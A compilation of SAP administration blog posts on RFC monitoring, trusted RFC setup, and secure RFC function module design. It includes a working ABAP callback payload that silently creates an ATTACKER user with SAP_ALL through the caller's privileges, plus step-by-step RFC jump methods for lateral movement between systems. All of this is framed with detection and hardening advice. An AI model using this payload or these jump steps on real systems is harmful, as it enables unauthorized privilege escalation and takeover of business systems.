Security teams might request to you as basis administrator: which RFC calls are being made to and from your ABAP system? And you need to know which users and applications are calling on RFC.
Questions that will be answered in this blog are:
Which users and systems are calling my ABAP system using RFC?
Which programs and processes are using RFC?
How much data is transferred using RFC?
If you need to check HTTP usage in your ABAP system: read this blog.
RFC statistics in ST03
Go to transaction ST03N or ST03, and open the total for this month. Then open the analysis view for RFC statistics. First check the WEB Client Statistics:
This already gives a lot of information: function modules and amount of data. On the tabs for Transaction, User and Remote destinations, Remote servers and Local servers you can get even more details you need for RFC transaction source.
On all 6 tabs on all 4 reports you can double click to get more details:
Tab Page
Meaning
Function ModuleTransactionUser
What workload is caused by the function modules, transactions, or users (depending on the selected RFC profile, as the RFC client or the RFC server)?
This blog will explain how to set up trusted RFC connection.
Questions that will be answered are:
How to setup a trusted RFC connection?
How to edit generated RFC in SM59 using the TOGL function?
Setting up trusted RFC
Start in transaction SM59 to create an RFC to the destination system:
Fill out your own user ID first. Make sure your user ID is existing in the destination system and is having sufficient S_RFCACL rights in the destination system. See OSS note 128447 – Trusted/trusting systems for the details.
Test the connection including the remote logon.
If that is ok, start transaction SMT1 and start the roadmap for setting up the trusted connection:
Enter the destination and finish the roadmap:
Complete the roadmap.
Now return to SM59 for the destination and remove the user ID, tick the box “Current User” and switch the Trust Relationship to Yes:
A trusted RFC can be tested via the Remote Logon button:
If you now can jump from the current system to the connected system without password prompt: then all is fine.
If it is not working: check in the target system in ST22 for a remote logon failure dump. Must likely your user does not have sufficient rights in the target system.
RFC security settings
For checking RFC security settings, read this dedicated blog.
RFC Access Control List
In the newer S4HANA versions, you can switch from an authorization check towards a full Access Control List setup. Use transaction SMTACL and select the trust connection:
Switch here to Access Control List Check.
RFC hacking
Be aware that RFC’s and especially trusted RFC’s can be misused for hacking. Read this dedicated blog on how, and how to protect.
Checking which systems you trust
With transaction SMT2 you can check which systems have a trusted system setup towards the system you are currently logged in to.
Editing trusted connections
Trusted connections are generated. In case of emergency you might need to edit this, in the command bar enter keyword TOGL to go to SM59 edit mode:
Program RSRFCCHK (which also has the same transaction code RSRFCCHK) can quickly scan all your RFC’s. In the selection screen, please make sure to select the 2 extra boxes for “Also check RFC destinations without explicit password” and the “Select destinations without target system too”:
The connection test is optional. But if the RFC is not working, then you might consider it old and no longer needed. In this case you can perform the clean up by deleting the RFC.
The output of the report RSRFCCHK, you can use to look for:
RFC’s with personal user ID
Cross system layer RFC’s (from production to development, or from development to production)
Trusted connections where you don’t expect them
Old destinations no longer in use
As a best practice at least yearly check on every system the RFC's that are setup there. Read this blog on how easy it is to use wrongly configured RFC's to hack a system.
SAP has many different ways to interface. The RFC (Remote Function Call) protocol is one of the most wide used.
This blog will explain best practices around secure and correct setup of custom built ABAP RFC function modules.
Questions that will be answered are:
How to setup RFC enabled function module?
How to setup proper RFC error handling?
How to setup security in RFC enabled function module?
How strict is the S_RFC authorization handling?
Why is SAP_ALL not sufficient for RFC handling?
Creation of test RFC enabled function module
In SE37 you can setup an RFC enabled function module just like a normal function module. First create a function group. Activate that function group in SE80. Now you can create the function module. We will call our test module ZBAPIDEMO:
Important here in the first tab is to set the processing type to Remote-Enabled Module.
For testing we setup import and export tabs:
Important here with RFC: set the Pass by value tickbox.
For tables use a suitable table type:
And setup the correct exceptions:
Here you can see 2 very important error messages that should always be implemented:
An extra authorization check
An error message when no data is found
Now we can implement the following simple source code:
DATA: zls_coms_gen_textline TYPE coms_gen_textline.
AUTHORITY-CHECK OBJECT 'S_CDMC'
ID 'CDMC_AREA' FIELD 'A'
ID 'CDMC_ROLE' FIELD 'U'.
IF sy-subrc EQ 0.
CASE zimport.
WHEN 1.
zexport = 'Hello world'.
WHEN 2.
zls_coms_gen_textline-entry = 'Hello world table 1'.
APPEND zls_coms_gen_textline TO ztable.
zls_coms_gen_textline-entry = 'Hello world table 2'.
APPEND zls_coms_gen_textline TO ztable.
WHEN OTHERS.
RAISE not_found.
ENDCASE.
ELSE.
RAISE not_authorized_business.
ENDIF.
What is important here in this source code:
The authorization check is implemented and raises an error
If no data is found the NOT_FOUND error is raised
With the SE37 test suite you can test diverse scenario’s now.
Calling RFC function module from another ABAP system
If you call this RFC function module form another ABAP sytem you have to make sure you have set and check the following exceptions:
COMMUNICATION_FAILURE: the call to the other system fails. Most likely if you go to SM59 to the RFC destination and perform a connection test you will get a failure.
OTHERS: something else went wrong
The developer should take proper care of these error situations.
Dear ABAP developers: the basis team member are also humans. They will make RFC configuration errors, they rely on the authorization team to assign the correct roles and they rely on infrastructure providers to make sure systems are up and running. Also the basis team will need to perform patching and upgrades to the system, which you as ABAP developer, are calling. So please don't blame the basis team for these exceptions, but please be a good developer and implement proper error handling. If you didn't implement proper error handling, and something went wrong on basis side, that caused your code to go wrong, think twice before putting blame on basis if your code is not handling the situation properly.
The RFC layer is protected by authorization object S_RFC:
Here you can choose between a function group or even allowing per function module. Personally I would protect by function module. Background: create, change and display BAPI’s will normally be developed inside same function group.
There is a common misunderstanding that if you give SAP_ALL to a (background) user, this would solve the RFC authorization issues. This is not true. SAP_ALL does not contain the S_RFC rights. You have to hand them out separately.
Best practice 1: you might want to start with broad authorizations at the beginning of a development to rule out authorization issues. But you must definitely limit the rights before you make the development go productively live.
Best practice 2: as first statement inside each and every RFC function module, program a relevant business authorization check statement. This is an extra safety measure that is needed to protect important business data from authorization consultants that have handed out * authorizations in object S_RFC (* means all).
Best practice 3: check in transaction SM59 that the RFC callback protection is activated. Read this blog how a hacker can easily misuse if not properly setup.
Best practice 4: be careful on the RFC setup to avoid that hackers misuse the RFC jumping option. Read more in this blog.
More on checking the basis RFC security: read this blog.
Generic S_RFC check handling at basis level
The behavior of the S_RFC check is driven by the settings of RZ11 profile parameter auth/rfc_authorithy_check. Please make sure it has a setting of 6 or higher. Best is 9. A system with 5 or lower can be considered as insecure!
Set up of trusted RFC connections are explained in this blog.
RFC performance
Check if you can use the RFC fast serialization option. This option is available for a lot of modern SAP systems. It is not activated by default. Read more on the fast serialization option in this blog.
When you start transaction SM59 for setting up RFC connections, you might see the red icon telling you RFC callback check not secure.
This blog will explain you following:
How can a hacker exploit this RFC callback weakness?
How to make the RFC callback secure?
What is the difference between RFC callback simulation and intervention?
What to do in case of a valid use of RFC callback?
RFC callback hacking in action
What the RFC callback does is basically firing back function modules to the sender. These modules are then executed on the originating system with the privileges of the original caller.
If an attacker has gained access to one system and modifies code that is called from another system it can fire commands to the other system with the privileges of the caller.
In the example below the attacker has altered the standard RFC_PING function module (code snippet is below). He then convinces a high privilege admin of the target system to remotely call and ping the compromised system for example by asking the admin to do a connection test in SM59 (which calls the RFC_PING module). The callback code is fired against the target system and is run with the user ID of the admin (not of the attacker) of the target system.
Code snippet of modified RFC_PING:
Call module to create user on destination ‘BACK’ and set the password.
Assign the privilege SAP_ALL (highest available privilege)
DATA: ZLV_BAPIBNAME TYPE SY-UNAME.
DATA: ZLS_BAPILOGOND TYPE BAPILOGOND.
DATA: ZLV_BAPIPWD TYPE XUNCODE.
DATA: ZLS_BAPIADDR3 TYPE BAPIADDR3.
DATA: ZLT_BAPIRET2 TYPE TABLE OF BAPIRET2.
DATA: ZLS_BAPIPROF TYPE BAPIPROF.
DATA: ZLT_BAPIPROF TYPE TABLE OF BAPIPROF.
ZLV_BAPIBNAME = 'ATTACKER'.
ZLS_BAPILOGOND-USTYP = 'A'.
ZLV_BAPIPWD = 'Welcome_in1!'.
ZLS_BAPIADDR3-LASTNAME = 'Attacker'.
CALL FUNCTION 'BAPI_USER_CREATE1' DESTINATION 'BACK'
EXPORTING
USERNAME = ZLV_BAPIBNAME
LOGONDATA = ZLS_BAPILOGOND
PASSWORD = ZLV_BAPIPWD
ADDRESS = ZLS_BAPIADDR3.
ZLS_BAPIPROF-BAPIPROF = 'SAP_ALL'.
APPEND ZLS_BAPIPROF TO ZLT_BAPIPROF.
ZLS_BAPIPROF-BAPIPROF = 'SAP_NEW'.
APPEND ZLS_BAPIPROF TO ZLT_BAPIPROF.
CALL FUNCTION 'BAPI_USER_PROFILES_ASSIGN' DESTINATION 'BACK'
EXPORTING
USERNAME = ZLV_BAPIBNAME
TABLES
PROFILES = ZLT_BAPIPROF
RETURN = ZLT_BAPIRET2.
If the admin executes the ping towards the compromised system he will see this screen:
The only suspicious part the admin might see is the slightly longer logon time (in which the callback is executed).
End result on target system: ATTACKER user created by ADMIN user.
With the privileges:
This is one example. There are many different creative ways in which a callback RFC can be misused.
Detection of the RFC callbacks
RFC callback actions are registered in the SAP audit log if they are configured. The default classification is warning for RFC callback.
Audit log trace for the above action looks as follows:
How to make the RFC callback secure?
The SAP system parameter rfc/callback_security_method (set it in RZ11) is determining the RFC callback behavior.
rfc/callback_security_method set to 1 means basically “do nothing”. This is the insecure default setting and it will result into the red traffic light on SM59 RFC connection setup screen.
rfc/callback_security_method set to 2 means “simulation active”. With this setting entries are written to the audit log (for setup of the audit log see this blog). This setting is still insecure!
It can be used on a productive system to see which callbacks are coming in and do analysis before switching to 3 (fully secure, but immediate interception).
Make sure in the audit log, that the simulation is captured:
Simulate for a while, and the generate the white list (or positive list):
rfc/callback_security_method set to 3 means that the system will do interfception of RFC callback methods. This is the secure setting. The SM59 RFC connection traffic light will now show green:
Callback positive lists
In some cases an RFC callback is used with a good intention and reason. These exceptions can be put into the callback positive list. Per RFC on the Logon & security tab you can activate the combination of called and called back function modules.
If you have enabled the audit log, you can use it to generate RFC callback positive lists. In SM59 select the option: RFC / Generate RFC Callback Positive List.
Check to apply OSS note 2863851 – RFC Callback Positive Lists not created.
SAP CUA (central user administration) uses a callback to fetch profiles. In your CUA system per RFC to remote child CUA system you have to set the following positive callback:
(SUSR_ZBV_GET_REMOTE_PROFILES and SUSR_ZBV_SEND_PROFILES)
Known positive callback: SAP screen painter RFC EU_SCRP_WN32
This blog will explain the SAP system hacking using RFC jump method. It will show the simplicity of the hack, and tell you what to do in preventing this method to be used on your SAP system.
Question that will be answered:
How does the RFC jump SAP system hack work?
How do I check all my RFC’s for this weakness?
What can I do to prevent this hack from happening on my system?
RFC jump hack background
SAP uses RFC connections between SAP systems to send and received business data. For example the BI system will pull data from the ECC system via an RFC connection. The SAP solution manager system is fed from the ECC system via an RFC connection. Or a SAP netweaver gateway system serving SAP FIORI tiles.
In the RFC setup the system admin will have to set the connection details and its logon method. The logon methods can be:
Current user via logon screen
Current user via trust logon screen
Fixed user ID: dialog user ID or background user ID
The first method with logon screen will prompt for user ID and password and is not useful for hacking.
The trusted connection will check the rights in the other SAP system using your own user ID and privileges.
The RFC’s with fixed user ID’s will use the user ID and privileges of the user ID in the RFC connection and also using password entered by the admin. So you don’t even need to know the password…..
3 methods of misusing the RCF jump
3 methods of misusing the RFC jump will be explained. All of the scenario’s start from a already compromised system.
You have gained access to an SAP system, which in first instance is less important. For example by using standard SAP passwords (see blog on this topic).
1. Using the weakness to jump from one system to another: named dialog users in RFC
Now you start to scan the RFC’s of this server in SM59.
You notice that there is an RFC to another system which has the user ID and password of the system admin. You now simply click the remote logon button and you jump to the other system.
You are logged on now into this system with the user ID and privileges of this other user ID. From this system you can even jump further.
This way you could go from a development to productive server. Or from a BI to an ECC server. Or from Solution manager to ECC productive server.
2. Using the weakness to jump from one system to another: named background users in RFC
The jump will not work if the user ID in the RFC is a background user ID. One example here is the ALEREMOTE user in ECC, which is used by the BI system to extract data from ECC. Since this user has to pull a lot of data and is needing a lot of privileges this user ID is sometimes given SAP_ALL privileges.
If this is the case the hacker can still misuse this RFC. In the hacked system he goes to transaction SE37 and creates a test function module sequence consisting of 2 calls: BAPI_USER_CHANGE and BAPI_TRANSACTION_COMMIT.
The first call will have the input to change user ID ALEREMOTE user type from B (background) to type A (dialog). The commit is needed to actually confirm and push the change to the database. Once the sequence is setup the hacker will use the test function to fire the sequence. In the testing the hacker will put in the RFC with the ALEREMOTE user. Now this sequence will be fired with the privileges of the ALEREMOTE user (it has SAP_ALL). So it will then itself change its own user type remotely…. After this is done the dialog jump will work from the remote system and the hacker comes into the system with user ALEREMOTE and the attached SAP_ALL rights.
3. Using the weakness to jump from one system to another: trusted RFC’s
If you have taken over one system and you see a trusted RFC towards another system this can be misused for hacking.
But you need extra information. If you know the user ID of the admin in the system target, set up the user ID in the system already taken over, or if already there reset password. Then logon in the taken over system with the admin user ID. Goto SM59 to the trusted connection. Click remote logon and you jump to the other system without having to logon, but with the user ID and privileges of the admin.
The complexity in detection is not to detect the jumps itself, because there is also good use of the jumps (via the trusted RFC’s), but to detect the misused jumps. This is hardly possible.
Detection can be done for the user changes executed by background users. Detection could be done with tracking the terminal ID suddenly switching user ID.
The SAP audit log can help you find traces to what has happened as detective after the fact method. But it will not help you detect or prevent misuse.
How to scan your RFC’s for potential misuse?
SAP provides a program to check RFC’s for weak settings: RSRFCCHK.
Protection is possible by a series of actions (a single action will not be sufficient):
Access restriction. Restriction of access to SU01 user management and SM59 RFC setup. Not only on main systems, but also on connected trusted systems.
Remove SAP_ALL and user rights from background and RFC users.
At least yearly scan systems for wrongly setup RFC’s and delete them.
Instruct basis team never to put in their own account into an RFC connection.
The most though misunderstanding is with some security and control teams themselves. They heavily underestimate the danger of the trusted connections. They come with statements like “we focus on production only”, or “that system is not part of our compliance XYZ framework check”.
Basic golden principle:The trusted system must have same protection level and control measures as the system it is connected to.
More RFC hacking: RFC callback hack
Next to the RFC attack methods above there is also the RFC callback hack, which uses the back direction to execute malicious actions. Read more in this blog.
